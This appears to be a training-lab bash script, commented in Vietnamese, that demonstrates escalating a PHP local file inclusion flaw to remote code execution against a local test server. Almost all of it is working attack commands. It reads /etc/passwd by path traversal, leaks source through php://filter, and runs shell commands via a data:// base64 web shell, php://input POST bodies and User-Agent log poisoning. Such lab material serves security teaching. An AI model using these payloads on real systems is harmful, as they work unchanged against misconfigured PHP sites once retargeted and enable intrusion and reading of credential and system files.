#!/usr/bin/env bash
# Exploit lab 7.3 - LFI leo thang RCE
# App: php -S 127.0.0.1:8063 -t www -d allow_url_include=1 -d allow_url_fopen=1
# (allow_url_include=On mo phong server cau hinh long; php://input & data:// can no.
#  Rieng php://filter va log poisoning KHONG can.)
set -u
BASE="http://127.0.0.1:8063"

echo "=== [0] Dung binh thuong ==="
curl -s "$BASE/?page=pages/home.php" | sed 's/<[^>]*>//g' | grep -v '^$' | head -4

echo
echo "=== [1] LFI co dien: doc /etc/passwd qua include ==="
curl -s "$BASE/?page=../../../../../../../../../../../../etc/passwd" | grep -aoE '(root|daemon|sync):x:[0-9]+:[0-9]+:[^<]*' | head -3

echo
echo "=== [2] php://filter: doc SOURCE index.php (base64) roi giai ma ==="
B64=$(curl -s "$BASE/?page=php://filter/convert.base64-encode/resource=index.php" | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | tr -d '\n')
echo "$B64" | base64 -d 2>/dev/null | head -8

echo
echo "=== [3] data:// wrapper: nhung PHP qua base64 -> RCE (can allow_url_include) ==="
PHP_B64=$(printf '%s' '<?php system($_GET["c"]); ?>' | base64 -w0)
curl -s "$BASE/?page=data://text/plain;base64,$PHP_B64&c=id" | tail -1

echo
echo "=== [4] php://input: body la ma PHP -> RCE (can allow_url_include) ==="
curl -s -X POST --data '<?php echo "INPUT_RCE: "; system($_GET["c"]); ?>' "$BASE/?page=php://input&c=id" | tail -1

echo
echo "=== [5] Log poisoning: nhet PHP vao User-Agent roi include access.log ==="
echo "    5a) gui request voi UA doc hai (ghi vao logs/access.log)"
curl -s -A '<?php echo "LOG_RCE: "; system($_GET["c"]); ?>' "$BASE/?page=pages/home.php" > /dev/null
echo "    5b) include file log -> PHP trong UA duoc thuc thi"
curl -s "$BASE/?page=../logs/access.log&c=id" | grep -a 'LOG_RCE' | tail -1

echo
echo "=== DONE ==="